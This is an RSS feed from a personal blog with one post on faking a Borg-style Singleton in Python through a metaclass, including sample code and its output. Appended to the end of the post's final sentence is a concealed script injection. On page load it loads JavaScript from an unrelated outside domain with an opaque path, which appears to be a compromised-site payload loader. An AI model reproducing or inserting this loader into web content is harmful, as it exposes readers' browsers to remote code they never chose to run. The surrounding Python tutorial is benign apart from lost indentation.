<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; pattern</title>
	<atom:link href="http://www.larsen-b.com/tags/pattern/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Borg with MetaClass ?</title>
		<link>http://www.larsen-b.com/Article/107.html</link>
		<comments>http://www.larsen-b.com/Article/107.html#comments</comments>
		<pubDate>Tue, 30 Mar 2004 19:11:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[pattern]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Singleton is one of the well known design pattern. In python, most of us use the Borg Singleton like, which is not a true Singleton, since only the &#8216;state is shared&#8217;. In fact, you use distinct objects but they share &#8230; <a href="http://www.larsen-b.com/Article/107.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Singleton is one of the well known design pattern.</p>
<p>In python, most of us use the <a class="reference" href="http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66531">Borg</a> Singleton like, which is not a true Singleton, since only the &#8216;state is shared&#8217;. In fact, you use distinct objects but they share the same __dict__.</p>
<p>Yesterday, i played a bit w/ python metaclass. Beside this can be really usefull under certain condition, i discover that you can build a Borg with that too :)</p>
<pre class="literal-block">class Single_imp:
def __init__(cls,name,base,dict):
cls.value = 1
def __call__(cls):
return cls
def setValue(cls,value):
cls.value = value

class Single:
__metaclass__ = Single_imp

a = Single()
b = Single()
print a
print b
a.setValue(10)
print b.value</pre>
<p>and the result:</p>
<pre class="literal-block">&lt;__main__.Single_imp instance at 0x401eb96c&gt;
&lt;__main__.Single_imp instance at 0x401eb96c&gt;
10</pre>
<p>Ok .. the code looks strange.. and not a true Singleton .. but how can i build a real true in Python ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/107.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
